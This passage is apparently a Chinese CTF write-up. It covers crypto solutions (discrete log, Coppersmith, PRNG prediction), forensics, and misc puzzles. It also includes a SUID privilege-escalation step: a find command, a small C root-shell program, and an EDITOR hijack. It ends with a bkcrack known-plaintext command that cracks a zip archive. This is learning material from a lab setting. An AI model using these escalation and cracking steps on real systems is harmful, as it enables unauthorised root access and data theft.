c2 = 135410793997875487972298785237681131478761447205213610635842285010164308038301697054176371628605014267489864238137735560888444688177201474949707954751577
'''

BSGS求离散对数

from Crypto.Util.number import long_to_bytes
from math import isqrt

# --- 把题目中给出的数粘贴到这里 ---
p = 10560464175631160709999383504944939280267067560378620626979040921315467798501630079655340663547895515812021911470304483075907600549587171358369476255124337
g = 5572911063894340974483734192541353411838868965361107134612465011908061780180242348779533324820127053271574799429894984956163372524626786431177292215721384
y = 2551976503972625362405323290468587787679347326045114894085518452627208422960190509410833573983206966744456211220857302778318665690771595372276106771043208
c1 = 1205617983130100879228661072981675725569095797251301660744333997969095366993470887762473783053252549837619991656838026541987751368433948599410216526314464
c2 = 135410793997875487972298785237681131478761447205213610635842285010164308038301697054176371628605014267489864238137735560888444688177201474949707954751577
# ------------------------------------------

# 上界(由代码中的 getrandbits(32) 可知)
X_BOUND = 1 << 32

def baby_step_giant_step(g, y, p, bound):
"""
求解 g^x = y (mod p),x 在 [0, bound),使用 BSGS。
返回找到的 x 或 None。
"""
m = isqrt(bound) + 1

# baby steps: g^j -> j
table = {}
cur = 1
for j in range(m):
if cur not in table:
table[cur] = j
cur = (cur * g) % p

# factor = g^{-m} mod p
factor = pow(g, p-1-m, p) # 使用费马小定理计算逆元: g^{-m} = g^{p-1-m} (mod p)

gamma = y
for i in range(m + 1):
if gamma in table:
j = table[gamma]
x = i * m + j
if x < bound and pow(g, x, p) == y:
return x
gamma = (gamma * factor) % p

return None

def main():
x = baby_step_giant_step(g, y, p, X_BOUND)
if x is None:
print("未找到 x(超出设定范围或出错)。")
return

print("找到 x =", x)

# 计算共享密钥 s = c1^x mod p = y^k mod p
s = pow(c1, x, p)

# 恢复明文整数 m
m_int = c2 ^ s

# 转回 bytes
flag = long_to_bytes(m_int)
print("flag =", flag.decode())

if __name__ == "__main__":
main()
# flag{31g4m41_D15cr373_10g}

[Week2] Furious BlackCopper

from Crypto.Util.number import *
from secret import flag

p,q,r = [getPrime(1024) for _ in range(3)]
n = p*q*r
e = 65537

c = pow(bytes_to_long(flag),e,n)

print(f"n = {n}")
print(f"c = {c}")
print(f"hint1 = {p % (1<<20)}")
print(f"hint2 = {(p>>30) % (2**800)}")

'''
n = 2319000650261946023915014206488070911640109367250016568220614383532952214807761334558144208472659838958984936464737359601178199471300591809378861719725166071293490337849460977334088817981122030848611809302595213167700327022424485330558133803551058332751191386670140430591951239225137235559261920346492292931776544999900411323158373028200548312764177981464990638015835702492874152704590840093556205478901618714235042276132193643820011286079020600820330604377153242537768363399127325275405368576324108320705517778045911592243192206637554003492442058363346021771705706076757889394174566970697156452713746460116694890476180599323974313009004900787705445305524094335957604088726075970520060978159945766075715871582835253817257735855172650619000718520587778706871170904747089132157549968207256556609060157681221165756365791620541073993550257247751386345594088623340417061806929245714999520220438960372195265546782502907343855788577
c = 1312431694904328111780426560035505882847885739731876317571257464906825734204933816113372504839088670643195989177569949377517123438201824279247608568699561057482330558039296008315782977478101848813741726654243732783839391998886721404635297928977792605627502180127696927378119466225798392853417088954570631565570973202717529604340075835044597519741996534553925543479235889306624531207327427624103988434939518732341796383732086485277180212113415284650071149267580793350758438950453934211274178830302236693064826616375397152045594336577917485934307703262074980594657132021858937328828017831874934945555874286196775661905842629738284617715824957593409581994376032525637671092419057427541956714584967278598190421273604293216212080790867530792388678597948920872325098486444223785108892158072625104934781926821974205890499552986515486164864944654160208151684128390420512040349571993995324224935664722188207527753890311873774929256151
hint1 = 104933
hint2 = 249231134914993957949482231198967609483717484780914014047312121163289039867757770164810674646280242374849088943758284579101792336244843385393432327534356753329591313697147372369033868132522997567291163165320430574331836011085519584900949698
'''

泄露了p低20位和p30位后的800位,用 Coppersmith即可求出高位,低20-30位爆破

import gmpy2
from Crypto.Util.number import *

n = 2319000650261946023915014206488070911640109367250016568220614383532952214807761334558144208472659838958984936464737359601178199471300591809378861719725166071293490337849460977334088817981122030848611809302595213167700327022424485330558133803551058332751191386670140430591951239225137235559261920346492292931776544999900411323158373028200548312764177981464990638015835702492874152704590840093556205478901618714235042276132193643820011286079020600820330604377153242537768363399127325275405368576324108320705517778045911592243192206637554003492442058363346021771705706076757889394174566970697156452713746460116694890476180599323974313009004900787705445305524094335957604088726075970520060978159945766075715871582835253817257735855172650619000718520587778706871170904747089132157549968207256556609060157681221165756365791620541073993550257247751386345594088623340417061806929245714999520220438960372195265546782502907343855788577
c = 1312431694904328111780426560035505882847885739731876317571257464906825734204933816113372504839088670643195989177569949377517123438201824279247608568699561057482330558039296008315782977478101848813741726654243732783839391998886721404635297928977792605627502180127696927378119466225798392853417088954570631565570973202717529604340075835044597519741996534553925543479235889306624531207327427624103988434939518732341796383732086485277180212113415284650071149267580793350758438950453934211274178830302236693064826616375397152045594336577917485934307703262074980594657132021858937328828017831874934945555874286196775661905842629738284617715824957593409581994376032525637671092419057427541956714584967278598190421273604293216212080790867530792388678597948920872325098486444223785108892158072625104934781926821974205890499552986515486164864944654160208151684128390420512040349571993995324224935664722188207527753890311873774929256151
hint1 = 104933
hint2 = 249231134914993957949482231198967609483717484780914014047312121163289039867757770164810674646280242374849088943758284579101792336244843385393432327534356753329591313697147372369033868132522997567291163165320430574331836011085519584900949698
e = 65537

for i in range(2**10+1):
PR.<x> = PolynomialRing(Zmod(n))
f = (hint2*2**30) + (i*2**20) + hint1 + (x*2**830)
x0 = f.monic().small_roots(X=2^(1024-830),beta=0.1)
if x0:
p = (hint2*2**30) + (i*2**20) + hint1 + (x0[0]*2**830)
d = gmpy2.invert(int(e), int((p - 1)))
m = pow(c, d, p)
flag = long_to_bytes(int(m))
print(flag)
break
# b'flag{C0pp3R_W0u1d_B3_T4sty_W1tH_F0rc3}'


[Week2] strange random

源码

from Crypto.Util.number import *
import random
from sympy import prime
def sssstranger(p,q):
n = p*q
list=[]
for i in range(312):
x=random.getrandbits(32)
list.append(x)
print(list)
return n



p=getStrongPrime(512)
q=getStrongPrime(512)
r=getStrongPrime(512)
n1=sssstranger(p,q)
print(n1)
n2=sssstranger(q,r)
print(n2)
e=random.getrandbits(32)
m=bytes_to_long(b"xxx")
c=pow(m,e,n1*n2//q)
print(c)
'''
[1728665541, 3263255435, 2691063119, 513420434, 1978667458, 2092691241, 3072561387, 378231450, 3028786976, 840997868, 3471062203, 3920316636, 3916637804, 2376627024, 3173388560, 3539723936, 3614347224, 1379925726, 627801586, 2033110031, 3011670978, 2445060030, 3597825709, 1550315482, 3554680797, 536809681, 2468123914, 2237079688, 2296929082, 509016983, 1311981805, 587441307, 1250231566, 1315700906, 776365185, 2859464782, 3355190319, 1918102563, 211231701, 845506441, 3178972471, 3192228027, 1529640612, 1191656594, 484407364, 2429115020, 1919153985, 4078408440, 202834614, 3117949094, 3476209197, 4079805955, 111463567, 3658322943, 1016273317, 807556240, 3367455806, 2847052298, 2082435398, 1180401345, 3299362819, 4184474116, 2494750167, 4096990231, 1612750035, 770130274, 1733434788, 3092462951, 172910303, 2670474919, 362297276, 2782760415, 2884584980, 2326865163, 720680806, 1281073207, 950149740, 2778388627, 3101343550, 2770433242, 2788026555, 1262935285, 3581320389, 4194538979, 696994625, 821111473, 2806414521, 777650820, 3663930324, 4178227152, 606200040, 2069454582, 2173681644, 2922086151, 2020623409, 3758719473, 1312449069, 2927391874, 4270320113, 3753066345, 1995980698, 4258470255, 1327644070, 3351177965, 298217788, 2620469257, 2989578615, 4055438139, 3942865412, 1622171985, 4273198698, 1243493635, 1396590445, 2402566178, 4029896237, 1025694233, 2314450406, 4170179809, 4024445981, 1994273208, 1861210759, 1803769206, 3689618816, 2927243579, 1922806785, 2486390395, 1862533438, 1121029203, 2031745224, 3841331572, 3769538458, 842401540, 2163702504, 831385340, 376394126, 3974915965, 4034996030, 1854785567, 2555092021, 3046897262, 1094027606, 907771043, 384404822, 3501497369, 216697168, 226807575, 2747644288, 1972752441, 3105815096, 828173042, 3678659380, 764441556, 1130297460, 1402863762, 3970725436, 3086776368, 344855794, 2088029785, 503832722, 1968203466, 279790788, 3883395066, 4037131559, 1964635994, 1743508595, 3532171326, 1818297125, 2848875183, 1136249744, 4272443113, 1788562924, 3711074145, 418022453, 4283864580, 1386827219, 2059781647, 449497651, 469589888, 3588436437, 351986216, 3443966898, 2319253729, 1266070779, 1630403341, 1846437281, 3603091148, 447407528, 1442665148, 928268668, 2054879461, 774139131, 2430644896, 3555838468, 2030660868, 3319238578, 1015731571, 3478144019, 2453174776, 1941944791, 2053565326, 4110536281, 2526460393, 2824479032, 3301735760, 780255490, 1603208589, 1692469907, 3130130497, 3584634807, 3928107012, 509990258, 1869589899, 1905903514, 2952291895, 1729434633, 2044093816, 970234210, 1567208463, 2796641501, 1745350460, 3822138868, 2103785872, 391350339, 4191592334, 137687673, 4006137512, 1593615631, 1861899739, 3651189911, 520633354, 1966539346, 169641067, 1406362177, 737946704, 784276247, 2058995198, 3549499398, 1558398384, 3675852813, 1429069728, 2298431975, 2898233687, 286239555, 392193984, 3086032521, 3126507866, 34675686, 2287440422, 2548373557, 836659862, 99648826, 1083241258, 3636664381, 3251127672, 3516486155, 3869736806, 3646281836, 1700118982, 2156956, 1800018184, 777416396, 322014799, 3243611333, 1128026911, 4092136383, 2745524281, 751830889, 4158398986, 2017168515, 4209181862, 1454303529, 4210187982, 2987136052, 118405085, 2154307567, 2706958148, 783722604, 3630718307, 2946126077, 3769533841, 1952446395, 2864470266, 2438635144, 109801110, 2106815318, 1964646247, 2230611498, 3926379899, 2415862583, 2403244187, 1558995124, 755524922, 3392617372, 3025516874, 4190475123, 2949921629, 501571073, 4156590328, 4269504697, 2949638988, 1468559288, 3213839184, 2489556309, 3740310282, 2197691296, 2398027688, 3828617697, 1569783402, 2795666101, 176638489, 2911249476, 4241926468]
138851415190713465480971174257448869324235475491224608863667367765557787130928841140544464901159451427142751973587286540048280289357977393428301017662916668537581389547284678037051116847831257571725930334961572331109949981542324563168168819931774176415705884732805196594752559820155791993081799451192512108559
[942815517, 2520455710, 1891728341, 2453497085, 3941880462, 2392891255, 2747143494, 4243618507, 1517358347, 450211540, 2842693883, 1221103042, 1422891239, 4030144964, 2685521942, 1947290728, 3302832218, 1782499203, 3868364088, 308582506, 4251094005, 4980868, 2451326086, 3651628499, 2281074832, 480798516, 758959082, 3615264118, 1219594762, 1098658489, 2470901076, 1893356372, 3318772649, 1863044573, 3548017752, 3763808736, 1654584736, 3003555639, 1256437939, 3270885177, 258743642, 1299719645, 2208182535, 373707415, 1911873380, 92306350, 1545073247, 3827312104, 3255398601, 3192552708, 3206214673, 420879235, 1364502459, 3758282150, 2525185637, 1668948490, 1540972099, 4226808177, 2383393173, 3749471576, 1454575032, 3539841865, 690099204, 3429693556, 3143045768, 1019783847, 4254140560, 3362875271, 4286952044, 3651977835, 3979297548, 3354687702, 732498631, 830001339, 1600709940, 256242259, 3433896402, 717208932, 1143942721, 1387817800, 4149665963, 4136218742, 1148960729, 3448152230, 88647458, 1774354757, 3157382396, 2749420283, 3384884111, 4052749938, 3562466643, 388123649, 1019572873, 9288731, 2722126277, 2203755362, 2808094116, 318555465, 4238001430, 1279580330, 2688604848, 1360319839, 2479873580, 1061154987, 2958583972, 479553026, 1527664208, 1632893535, 3787166229, 989207338, 1663447933, 3712938090, 4198966560, 2566654848, 3696114905, 3012771350, 3607688877, 913491574, 3931397722, 3009342175, 2443448349, 1062996946, 2981037281, 26940862, 949228546, 4200949390, 4183590581, 1149500333, 2868274151, 1076013183, 2931224950, 1231187554, 1432454474, 462283109, 2459428825, 2313869884, 3779120205, 671163379, 283074107, 4292451272, 2073686644, 2106538278, 795977087, 1521261558, 2211934761, 3442006668, 810921154, 657699377, 2190946289, 3774455606, 95125385, 2480329023, 3476089304, 1238475919, 1076726394, 2120212816, 912904401, 3115487553, 4166801889, 2671842223, 3233061625, 2792720396, 164231023, 2899715615, 1080603752, 1871958768, 3205958631, 1429172605, 102859110, 1233358091, 4121045015, 3707468958, 2054107845, 3086180315, 3618494768, 151289595, 2395511379, 2202211183, 3317167416, 924499924, 1123843927, 1845597735, 2551305188, 281765988, 2688253086, 1560780497, 2061169891, 573571184, 2525386268, 1825854571, 2899785981, 3266712321, 3610412586, 411137454, 3935324159, 2494782798, 3373400635, 909758036, 730762387, 821217945, 1637755246, 914390627, 364271532, 3570237156, 739531656, 3535813993, 3136577043, 269001524, 330161113, 1582587768, 4276579985, 650173619, 2350573855, 1233199180, 824190362, 2132064523, 1630599868, 3890164143, 3281849000, 443369842, 556256551, 3665988107, 168059217, 2459533678, 2959581748, 1266795043, 2541445057, 3690162432, 4033239960, 2747349823, 2527544983, 3483114688, 1912665005, 2589639629, 967006093, 3043481320, 1577789923, 888032317, 3135015646, 1807362947, 3974720459, 1028251582, 1395973950, 141248013, 3415448254, 2585771855, 1652904856, 2483847688, 1241390535, 2966558718, 80133169, 544591052, 117065220, 1259833545, 4287364552, 3172964645, 1378147180, 1961149024, 2557044426, 3079500155, 1278712539, 2437075468, 4079403208, 1424357113, 1460980393, 1869711134, 739995379, 236457792, 56725573, 1192143182, 3480051881, 1940191085, 2145576244, 277256288, 1350391298, 927908951, 234611527, 1270659504, 2800736156, 2377033778, 379042674, 268642839, 254414386, 3717739293, 3742427571, 2062173352, 1468838866, 3248800238, 3810334297, 1774562996, 3243508531, 768385892, 3663776790, 3561471474, 2072506584, 4072612194, 4145385651, 1568151342, 413061947, 2606711318, 787242867, 358259431, 3250866366, 496471679, 3974003161, 3962245443, 3448346690, 3918858426, 1545049592, 4098252582, 4272944055, 2709981394]
114667370859267713459979739172691665204879151133165169917752071845350748196947769536460950730177555853607685665148468694999487984430241339705779225600425842398781387739352517522092529671186262329583850232443458354943390042125768975735770226662059908491110663467968924345474794260851510527271024718213859872091
254437839234710932548963084800696912447199841209292016504026652383142017227876963989808065988983617626350151358444895183944611290313513729505521630711812174923796964838915751672967332321515720258149777206328112312514688748335753179198631177743199829645308091442800427146012476434191025450662950787631144984158609948536064605299987908223963902731920237033619141863042816600729594847568654431928343565350409273886054122366132475796004834811862120850908513978375240
'''

先通过GCD(n1,n2)求出q,从而求出pr

接着使用RandCrack预测随机数得到e,因为e和phi不互素,因此需要用AMM来进行有限域开方

这里我用r做后续的计算,gcd(e,r-1)==4,因此先求出m^4的值,然后再AMM开4次方即可得到flag

import random
import math
import gmpy2
from Crypto.Util.number import *
from randcrack import RandCrack


def find(e, p):
root = []
while len(root) < e:
a = random.randint(2, p - 1)
res = pow(a, (p - 1) // e, p)
if res not in root:
root.append(res)
return root

def AMM(residue, e, p):
# 计算t,s
t = 0
s = p - 1
while s % e == 0:
t += 1
s = s // e

d = gmpy2.invert(e, s)

if t == 1:
return pow(residue, d, p)

noresidue = random.randint(1, p)
while pow(noresidue, (p - 1) // e, p) == 1:
noresidue = random.randint(1, p)
a = pow(noresidue, (e ** (t - 1)) * s, p)
b = pow(residue, e * d - 1, p)
c = pow(noresidue, s, p)
h = 1
for i in range(1, t):
d = pow(b, e ** (t - 1 - i), p)
if d == 1:
j = 0
else:
j = -math.log(d, a)
b = pow(pow(c, e, p), j, p) * b % p
h = pow(c, j, p) * h % p
c = pow(c, e, p)
return pow(residue, d, p) * h % p

#中国剩余定理脚本,m_list为余数,a_list为除数
def Get_Mi(m_list, m):
M_list = []
for mi in m_list:
M_list.append(m // mi)
return M_list

def Get_resMi(M_list, m_list):
resM_list = []
for i in range(len(M_list)):
resM_list.append(Get_ni(M_list[i], m_list[i])[0])
return resM_list

def Get_ni(a, b):
if b == 0:
x = 1
y = 0
q = a
return x, y, q
ret = Get_ni(b, a % b)
x = ret[0]
y = ret[1]
q = ret[2]
temp = x
x = y
y = temp - a // b * y
return x, y, q

def result(a_list, m_list):
for i in range(len(m_list)):
for j in range(i + 1, len(m_list)):
if 1 != math.gcd(m_list[i], m_list[j]):
print("不能直接利用中国剩余定理")
return
m = 1
for mi in m_list:
m *= mi
Mi_list = Get_Mi(m_list, m)
Mi_inverse = Get_resMi(Mi_list, m_list)
x = 0
for i in range(len(a_list)):
x += Mi_list[i] * Mi_inverse[i] * a_list[i]
x %= m
return x

l1 = [1728665541, 3263255435, 2691063119, 513420434, 1978667458, 2092691241, 3072561387, 378231450, 3028786976, 840997868, 3471062203, 3920316636, 3916637804, 2376627024, 3173388560, 3539723936, 3614347224, 1379925726, 627801586, 2033110031, 3011670978, 2445060030, 3597825709, 1550315482, 3554680797, 536809681, 2468123914, 2237079688, 2296929082, 509016983, 1311981805, 587441307, 1250231566, 1315700906, 776365185, 2859464782, 3355190319, 1918102563, 211231701, 845506441, 3178972471, 3192228027, 1529640612, 1191656594, 484407364, 2429115020, 1919153985, 4078408440, 202834614, 3117949094, 3476209197, 4079805955, 111463567, 3658322943, 1016273317, 807556240, 3367455806, 2847052298, 2082435398, 1180401345, 3299362819, 4184474116, 2494750167, 4096990231, 1612750035, 770130274, 1733434788, 3092462951, 172910303, 2670474919, 362297276, 2782760415, 2884584980, 2326865163, 720680806, 1281073207, 950149740, 2778388627, 3101343550, 2770433242, 2788026555, 1262935285, 3581320389, 4194538979, 696994625, 821111473, 2806414521, 777650820, 3663930324, 4178227152, 606200040, 2069454582, 2173681644, 2922086151, 2020623409, 3758719473, 1312449069, 2927391874, 4270320113, 3753066345, 1995980698, 4258470255, 1327644070, 3351177965, 298217788, 2620469257, 2989578615, 4055438139, 3942865412, 1622171985, 4273198698, 1243493635, 1396590445, 2402566178, 4029896237, 1025694233, 2314450406, 4170179809, 4024445981, 1994273208, 1861210759, 1803769206, 3689618816, 2927243579, 1922806785, 2486390395, 1862533438, 1121029203, 2031745224, 3841331572, 3769538458, 842401540, 2163702504, 831385340, 376394126, 3974915965, 4034996030, 1854785567, 2555092021, 3046897262, 1094027606, 907771043, 384404822, 3501497369, 216697168, 226807575, 2747644288, 1972752441, 3105815096, 828173042, 3678659380, 764441556, 1130297460, 1402863762, 3970725436, 3086776368, 344855794, 2088029785, 503832722, 1968203466, 279790788, 3883395066, 4037131559, 1964635994, 1743508595, 3532171326, 1818297125, 2848875183, 1136249744, 4272443113, 1788562924, 3711074145, 418022453, 4283864580, 1386827219, 2059781647, 449497651, 469589888, 3588436437, 351986216, 3443966898, 2319253729, 1266070779, 1630403341, 1846437281, 3603091148, 447407528, 1442665148, 928268668, 2054879461, 774139131, 2430644896, 3555838468, 2030660868, 3319238578, 1015731571, 3478144019, 2453174776, 1941944791, 2053565326, 4110536281, 2526460393, 2824479032, 3301735760, 780255490, 1603208589, 1692469907, 3130130497, 3584634807, 3928107012, 509990258, 1869589899, 1905903514, 2952291895, 1729434633, 2044093816, 970234210, 1567208463, 2796641501, 1745350460, 3822138868, 2103785872, 391350339, 4191592334, 137687673, 4006137512, 1593615631, 1861899739, 3651189911, 520633354, 1966539346, 169641067, 1406362177, 737946704, 784276247, 2058995198, 3549499398, 1558398384, 3675852813, 1429069728, 2298431975, 2898233687, 286239555, 392193984, 3086032521, 3126507866, 34675686, 2287440422, 2548373557, 836659862, 99648826, 1083241258, 3636664381, 3251127672, 3516486155, 3869736806, 3646281836, 1700118982, 2156956, 1800018184, 777416396, 322014799, 3243611333, 1128026911, 4092136383, 2745524281, 751830889, 4158398986, 2017168515, 4209181862, 1454303529, 4210187982, 2987136052, 118405085, 2154307567, 2706958148, 783722604, 3630718307, 2946126077, 3769533841, 1952446395, 2864470266, 2438635144, 109801110, 2106815318, 1964646247, 2230611498, 3926379899, 2415862583, 2403244187, 1558995124, 755524922, 3392617372, 3025516874, 4190475123, 2949921629, 501571073, 4156590328, 4269504697, 2949638988, 1468559288, 3213839184, 2489556309, 3740310282, 2197691296, 2398027688, 3828617697, 1569783402, 2795666101, 176638489, 2911249476, 4241926468]
n1 = 138851415190713465480971174257448869324235475491224608863667367765557787130928841140544464901159451427142751973587286540048280289357977393428301017662916668537581389547284678037051116847831257571725930334961572331109949981542324563168168819931774176415705884732805196594752559820155791993081799451192512108559
l2 = [942815517, 2520455710, 1891728341, 2453497085, 3941880462, 2392891255, 2747143494, 4243618507, 1517358347, 450211540, 2842693883, 1221103042, 1422891239, 4030144964, 2685521942, 1947290728, 3302832218, 1782499203, 3868364088, 308582506, 4251094005, 4980868, 2451326086, 3651628499, 2281074832, 480798516, 758959082, 3615264118, 1219594762, 1098658489, 2470901076, 1893356372, 3318772649, 1863044573, 3548017752, 3763808736, 1654584736, 3003555639, 1256437939, 3270885177, 258743642, 1299719645, 2208182535, 373707415, 1911873380, 92306350, 1545073247, 3827312104, 3255398601, 3192552708, 3206214673, 420879235, 1364502459, 3758282150, 2525185637, 1668948490, 1540972099, 4226808177, 2383393173, 3749471576, 1454575032, 3539841865, 690099204, 3429693556, 3143045768, 1019783847, 4254140560, 3362875271, 4286952044, 3651977835, 3979297548, 3354687702, 732498631, 830001339, 1600709940, 256242259, 3433896402, 717208932, 1143942721, 1387817800, 4149665963, 4136218742, 1148960729, 3448152230, 88647458, 1774354757, 3157382396, 2749420283, 3384884111, 4052749938, 3562466643, 388123649, 1019572873, 9288731, 2722126277, 2203755362, 2808094116, 318555465, 4238001430, 1279580330, 2688604848, 1360319839, 2479873580, 1061154987, 2958583972, 479553026, 1527664208, 1632893535, 3787166229, 989207338, 1663447933, 3712938090, 4198966560, 2566654848, 3696114905, 3012771350, 3607688877, 913491574, 3931397722, 3009342175, 2443448349, 1062996946, 2981037281, 26940862, 949228546, 4200949390, 4183590581, 1149500333, 2868274151, 1076013183, 2931224950, 1231187554, 1432454474, 462283109, 2459428825, 2313869884, 3779120205, 671163379, 283074107, 4292451272, 2073686644, 2106538278, 795977087, 1521261558, 2211934761, 3442006668, 810921154, 657699377, 2190946289, 3774455606, 95125385, 2480329023, 3476089304, 1238475919, 1076726394, 2120212816, 912904401, 3115487553, 4166801889, 2671842223, 3233061625, 2792720396, 164231023, 2899715615, 1080603752, 1871958768, 3205958631, 1429172605, 102859110, 1233358091, 4121045015, 3707468958, 2054107845, 3086180315, 3618494768, 151289595, 2395511379, 2202211183, 3317167416, 924499924, 1123843927, 1845597735, 2551305188, 281765988, 2688253086, 1560780497, 2061169891, 573571184, 2525386268, 1825854571, 2899785981, 3266712321, 3610412586, 411137454, 3935324159, 2494782798, 3373400635, 909758036, 730762387, 821217945, 1637755246, 914390627, 364271532, 3570237156, 739531656, 3535813993, 3136577043, 269001524, 330161113, 1582587768, 4276579985, 650173619, 2350573855, 1233199180, 824190362, 2132064523, 1630599868, 3890164143, 3281849000, 443369842, 556256551, 3665988107, 168059217, 2459533678, 2959581748, 1266795043, 2541445057, 3690162432, 4033239960, 2747349823, 2527544983, 3483114688, 1912665005, 2589639629, 967006093, 3043481320, 1577789923, 888032317, 3135015646, 1807362947, 3974720459, 1028251582, 1395973950, 141248013, 3415448254, 2585771855, 1652904856, 2483847688, 1241390535, 2966558718, 80133169, 544591052, 117065220, 1259833545, 4287364552, 3172964645, 1378147180, 1961149024, 2557044426, 3079500155, 1278712539, 2437075468, 4079403208, 1424357113, 1460980393, 1869711134, 739995379, 236457792, 56725573, 1192143182, 3480051881, 1940191085, 2145576244, 277256288, 1350391298, 927908951, 234611527, 1270659504, 2800736156, 2377033778, 379042674, 268642839, 254414386, 3717739293, 3742427571, 2062173352, 1468838866, 3248800238, 3810334297, 1774562996, 3243508531, 768385892, 3663776790, 3561471474, 2072506584, 4072612194, 4145385651, 1568151342, 413061947, 2606711318, 787242867, 358259431, 3250866366, 496471679, 3974003161, 3962245443, 3448346690, 3918858426, 1545049592, 4098252582, 4272944055, 2709981394]
n2 = 114667370859267713459979739172691665204879151133165169917752071845350748196947769536460950730177555853607685665148468694999487984430241339705779225600425842398781387739352517522092529671186262329583850232443458354943390042125768975735770226662059908491110663467968924345474794260851510527271024718213859872091
c = 254437839234710932548963084800696912447199841209292016504026652383142017227876963989808065988983617626350151358444895183944611290313513729505521630711812174923796964838915751672967332321515720258149777206328112312514688748335753179198631177743199829645308091442800427146012476434191025450662950787631144984158609948536064605299987908223963902731920237033619141863042816600729594847568654431928343565350409273886054122366132475796004834811862120850908513978375240



q = gmpy2.gcd(n1,n2)
p = n1//q
r = n2//q
n = n1*n2//q



rc = RandCrack()
for i in range(312):
rc.submit(l1[i])
for i in range(312):
rc.submit(l2[i])
e = rc.predict_getrandbits(32)
# print(e)

q = GCD(n1,n2)
p = n1 // q
r = n2 // q
k = GCD(e,r-1)
# print(k)
dr = inverse(e//4,r-1)
cr = pow(c,dr,r)


mr = AMM(cr, 4, r)
root_list = find(4, r)
for i in range(len(root_list)):
a = mr * root_list[i] % r
flag = long_to_bytes(int(a))
if b'flag' in flag:
print(flag)

# b'flag{wwooooow_u_no_the_randdoooooo0m!!!}'

Forensics

[Week1] 取证第一次

strings一把梭了

strings what.vmdk | grep flag

image-20251004144414960

[Week2] 你也喜欢win7吗

提取出flag.zip和hint.txt
根据hint,导出画图继续分析

在这个参数下能够看到密码

image-20251012203927205

接着翻转图片,清楚地看到解压密码

image-20251012203746442

114ezmisc514

解压得到flag

flag{1z_volatility_F0r3ns1c5}

Misc

[Week1] 《关于我穿越到CTF的异世界这档事:序》

根据文件名,可以直到是base8

base64隐写,得到码表

image-20251004140650505

?CTFmisc

然后搓一个base8的解密函数,得到结果后再base64解密得到flag

from Crypto.Util.number import long_to_bytes
import base64

def b8decode(data,code):
tmp_list = [data[i:i+8] for i in range(0,len(data),8)]
res = []
for i in tmp_list:
tmp = ''
for j in i:
if j == '=':
tmp += '000'
continue
tmp += code[j]
res += [long_to_bytes(int(tmp,2))]
return b''.join(res).strip(b'\x00')

code = '?CTFmisc'
code = {code[i]:bin(i)[2:].zfill(3) for i in range(len(code))}

data = 'Tsmssic?FT?ii?sFFi?iTimCTC?mcCmsTiTmmCCCFs?sCCiiTFTcmCmFTCscFicTTs?ciC?TFFTim?s?TTmsmCmFCmmiFCmsTFTimCCsFCmiTicTT?msFCTTTs?c??ssFCmi?mciCcT====='
res = b8decode(data,code)
res = base64.b64decode(res)
print(res)
# b'flag{Th3_Pr1nc1pl3_0f_Base_1s_S0_Ezz}'

[Week1] 俱乐部之旅(1) - 邀请函

掩码爆破

c5im????

image-20251004144921273

c5im8467

解压后,将docx文档后缀改成zip解压

找到一个u_f0und_m3,hex解码得到后半段flag

image-20251004145210230

&Welc0me_t0_th3_c5im_C1ub}

接着在core.xml找到2进制数

image-20251004145231815

解码得到前半段flag

image-20251004145328833

flag{W0rd_5t3g_is_1z

完整flag

flag{W0rd_5t3g_is_1z&Welc0me_t0_th3_c5im_C1ub}

[Week1] 布豪有黑客(一)

image-20251004150517247

追踪/password.txt得到解压密码

?CTF2025

导出/flag.zip的数据,解压得到flag

flag{Wireshark_1s_4wes0m3}

[Week1] 文化木的侦探委托(一)

修改高度得到提示

image-20251004151225585

LSB得到flag

image-20251004151455306

flag{Please_Find_ME}

[Week1] 维吉尼亚朋友的来信

查看频谱图

image-20251004152208788

deepsound得到来信

Gieg fsq sulirs,
Osfprpi xd lvy gkumpaaba jruph dx QNS!Wkmw xkb’n wxvx e vsay—vw’v e tasmaerxrh lzslr fxvmdkwnl phixh uvuyohrkt, ovyeh hzigq zcah rj gdvs, yihuc lxvrya foyi, pfr yihuc tjrnfr krphh s gypuhx apahcaj ws ft mbwbyhvis. Zslr, bry’pa khlrwfl cdmf gvqg, pipjb nb vhi tplhyeqv mr rzoif, dqh xjjb "C qrq’x ocgk" cawr "M jxyilrg lx sjl."
Ria’w zsvgq wz gklrkh xsyy ryivlzsfzlqk ei xwlfw. Zi’zt szf ohhr xwwfy—fwdvmcy on n susfawa, mpudxgwaba bxu lipvg, qbqgivxfu quhui xd khuew. Eyx izon’f wki qpyww bi lx: ikwfs zlvxezw wm n ohwwdf, sprub wqpdz qvq d vyhz. Ohq bry’vt fcn norri. Izwm prpqycahs gkumztk ch propeqgfuglrr, sc kvuelqk mswom, nqg pmulwht hdgl dlvye xs.
Ws sajy vq. Hbtagfy. Rasivxeshg. Dvo ujwgnvrqw. Gtdsvedwi xww hcab ymgigfcrv, drh sgb’n shdv xww gnhpepih. Lvy PWI asgdr cf eumkwlsl jlwl cdm wh vw, drh lw qua’w zemi lc mrh zligw mihu msygfss gdniw ngi.
Zydj mw "umbhl ohxxtj hi lrx". Vibwavru zvee lvy sodk gdfhyaw lr jasu{} uag xwi jfryeolri‘_' ig fycodgi hhowr fkevpuhye' '.

Ehwx lagbrv!

在线维吉尼亚爆破得到密钥为deepsound

Dear new friend,
Welcome to the thrilling world of CTF!This isn’t just a game—it’s a playground where curiosity meets challenge, where every line of code, every hidden clue, and every puzzle holds a secret waiting to be uncovered. Here, you’ll stretch your mind, learn to see patterns in chaos, and turn "I don’t know" into "I figured it out."
Don’t worry if things feel overwhelming at first. We’ve all been there—staring at a problem, scratching our heads, wondering where to start. But that’s the magic of it: every mistake is a lesson, every small win a rush. And you’re not alone. This community thrives on collaboration, on sharing ideas, and lifting each other up.
So dive in. Explore. Experiment. Ask questions. Celebrate the tiny victories, and don’t fear the stumbles. The CTF world is brighter with you in it, and we can’t wait to see where your journey takes you.
Flag is "funny letter to you". Remember wrap the flag content in flag{} and use underline‘_' to replace space character' '.

Best wishes!


flag

flag{funny_letter_to_you}

[Week2] 《关于我穿越到CTF的异世界这档事:破》

SUID提权

find / -perm -4000 2>/dev/null

找到程序editnote具有SUID权限

反编译

image-20251012102554360

可以看到file完全可控

接着编写一个恶意程序

#include<stdio.h>
#include<stdlib.h>
int main(){
setresuid(0,0,0);
system("/bin/bash -p");
}

编译后设置到环境变量让editnote执行

export EDITOR=/home/ctf/shell

运行editnote,即可提权到root

image-20251012102724093

[Week2] 俱乐部之旅(2) - 我邮件呢??

追踪TCP得到压缩包

image-20251012110711097

导出后明文攻击,解压出图片

bkcrack.exe -C Congratulations.zip -c id_card.png  -x 0 89504E470D0A1A0A0000000D49484452
